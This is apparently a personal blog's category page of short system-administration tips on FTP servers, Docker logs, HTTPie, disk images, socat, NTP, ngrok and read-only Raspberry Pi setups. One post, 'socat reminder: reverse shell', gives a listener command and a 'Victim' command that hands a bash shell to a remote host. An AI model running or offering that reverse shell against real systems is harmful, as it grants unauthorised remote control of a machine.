Category: System administration, Databases, Messaging and Security

Portable FTP server for Windows

2018/06/06 No Comments

Reading time: 2 – 2 minutes

Usually, simple things are the best, in the case I want to recommend an FTP server for Windows. This is a really simple but super useful FTP server for Windows. I’m using in Windows 10 and it works perfectly. Configuration is done in less than 10″ and installation is not required, I love that. Super portable.

Don’t expect sophisticated options but the most useful and advanced ones are there. If you need something like that my recommendation is:

Quick’n Easy FTP Server Lite by Pablo Software Solutions

Just a summary and extracted from the product webpage this is a summary of features:

Simple, intuitive and cool looking user interface, with several pages for managing the users, configuration and security.
Easy to setup using the build-in FTP Server Setup Wizard.
Add new user accounts with the User Account Wizard.
Support for systems that are a part of a network with a router and/or firewall.
Configuration is saved in XML format.
Realtime server trace, which displays every command and it’s reply on the screen.
Everything can also be logged to a file.

Screenshots are always lovely, some of them are:

[ngg_images source=”galleries” container_ids=”2″ display_type=”photocrati-nextgen_basic_thumbnails” override_thumbnail_settings=”0″ thumbnail_width=”200″ thumbnail_height=”150″ thumbnail_crop=”1″ images_per_page=”0″ number_of_columns=”0″ ajax_pagination=”0″ show_all_in_lightbox=”0″ use_imagebrowser_effect=”0″ show_slideshow_link=”0″ slideshow_link_text=”[Show as slideshow]” order_by=”filename” order_direction=”ASC” returns=”included” maximum_entity_count=”500″]

Finally just say THANKS Pablo for such good job and so useful stuff.

Truncate docker logs

2018/05/03 No Comments

Reading time: 2 – 3 minutes

Sometimes when a container is running for a long time especially when docker logs command is called the logs dump is extra long and then a recurrent search on google for reminding how to truncate a file is mandatory for avoiding this repeating task this is the trick that it saves me from that uncomfortable long log dump.

truncate -s 0 $(docker inspect --format='{{.LogPath}}' CONTAINER_ID)

HTTPie – command line HTTP client

2018/05/02 No Comments

Reading time: 4 – 6 minutes

I imagine you are used to using curl for many command line scripts, tests, and much more things. I did the same but some weeks ago I discovered HTTPie which is the best substitute that I’ve ever found for curl. Of course, it’s also available for a lot of Linux distributions, Windows, and Mac. But I used it with docker which is much more transparent for the operative system and easy to update. To be more precise I use next alias trick for using this tool:

alias http='sudo docker run -it --rm --net=host clue/httpie'

Official website: httpie.org

Let me paste some highlights about HTTPie:

Sensible defaults
Expressive and intuitive command syntax
Colorized and formatted terminal output
Built-in JSON support
Persistent sessions
Forms and file uploads
HTTPS, proxies, and authentication support
Support for arbitrary request data and headers
Wget-like downloads
Extensions
Linux, macOS, and Windows support

From the tool webpage a nice comparison about how HTTPie looks like versus curl.

Linux: Mounting file as a partition

2018/03/21 No Comments

Reading time: 1 – 2 minutes

When we have a file with a ‘dd’ of a full disk and we want to mount a partition of that disk, we have to use an offset for jumping to the beginning of the partition that we want to mount.
Using ‘fdisk’ command we can find the partitions of that disk copied inside a file.

fdisk -l FILE_WITH_DISK_INSIDE

Once partition table is shown there is a column called ‘Start’ using the corresponding number in this column for the partition that we want we can obtain the offset required for our mounting point. Reasoning behind that is multiply start sector per number of bytes per sector.

# OFFSET = START * 512
mount -o ro,loop,offset=OFFSET FILE_WITH_DISK_INSIDE /mnt

I hope thanks to this technical note next time that I forget how to get the offset I find it fastly.

UPDATE 2018/08/29:

If you don’t want to do that manually, there is a small tool called losetup which maps the partitions of a disk image on a file.

# example, attaching partitions to loopback devices
losetup -P /dev/loop0 DISK_IMAGE
# just mount the devices now, they are /dev/loop0pX where X is the number of the partition
# dettach this assignament:
losetup -d /dev/loop0

socat tip: create virtual serial port and link it to TCP

2018/03/07 No Comments

Reading time: 5 – 8 minutes

Create a virtual serial port and publish it on TCP port:

socat pty,link=/dev/virtualcom0,rawer tcp-listen:2101

In another computer, for instance, another virtual port can be created and connected to the previous one:

socat pty,link=/dev/virtualcom0,rawer tcp:SERVER_IP:2101

If in any of those both sides we want to open a real serial port, for instance, in the server case we can run:

socat /dev/ttyS0,rawer tcp-listen:2101

More information on socat manpage.

Ubuntu synchronize NTP clock

2018/02/04 No Comments

Reading time: 2 – 4 minutes

Synchronise Linux clock when NTP service is running but the clock is not on time:

sudo service ntp stop
sudo ntpd -gq
sudo service ntp start

socat tip: VPN without cyphering

2018/01/30 No Comments

Reading time: 3 – 4 minutes

Fast reminder and tip for socat, it can work on two devices or more:

# SERVER:
socat TCP-LISTEN:4443 TUN:192.168.255.2/24,up

# CLIENT:
socat TCP:SERVER_IP:4443 TUN:192.168.255.1/24,up

ngrok – service which solve services behind NAT issues

2018/01/24 No Comments

Reading time: < 1 minute This is another short entry, in this case for recommending a service which we solve typical problem solved using a DNAT. Once we have a service on our laptop, or on a private server and we have to expose that service on the internet for some time or permanently usually we have to go the firewall, or router and create a NAT rule forwarding a port. This is a simple and powerful service which is going to solve that for you. There is a free account for understanding and testing the service, other plans are available and especially affordable for professional requirements.

ngrock.com

I was frogetting to say it’s compatible with Linux, Windows and Mac.

socat reminder: reverse shell

2018/01/22 No Comments

Reading time: 3 – 4 minutes

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:12345

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP_LISTENER:12345

Raspberry PI: using read-only root partition

2017/08/30 No Comments

Reading time: 6 – 10 minutes

Two years ago I wrote an article discussing how to set up OpenWRT filesystem configuration for controlling writes in the flash card: Raspberry PI and OpenWRT flash partition proposal and rescue boot support for embedded systems.

This current article is mainly for referencing a very good article about how to work with Raspbian with a read-only filesystem and share a fast and dirty cookbook about how to play with that. First of all the reference to: Protect your Raspberry PI SD card, use Read-Only filesystem.

My cookbook about how to get the essence of that article is simple, locate in your /etc/fstab file the line:

/dev/mmcblk0p2  /               ext4    defaults,noatime  0       1

and modify that line with:

/dev/mmcblk0p2  /               ext4    defaults,noatime,ro  0       1

After rebooting your system is going to work in read-only mode. I don’t remember if I modified anything else of the booting process but I don’t thing so.
Because sometimes I have to modify anything in the flash card, I added the next two lines in the ~/.bashrc file:

alias rw='sudo mount -o remount,rw / ; sudo mount -o remount,rw /boot'
alias ro='sudo mount -o remount,ro / ; sudo mount -o remount,ro /boot'

Now just with the command rw it’s really easy to get the root filesystem in the write mode, and when I finish my updates just typing ro it’s go back to read-only mode.

I hope it’s useful for you.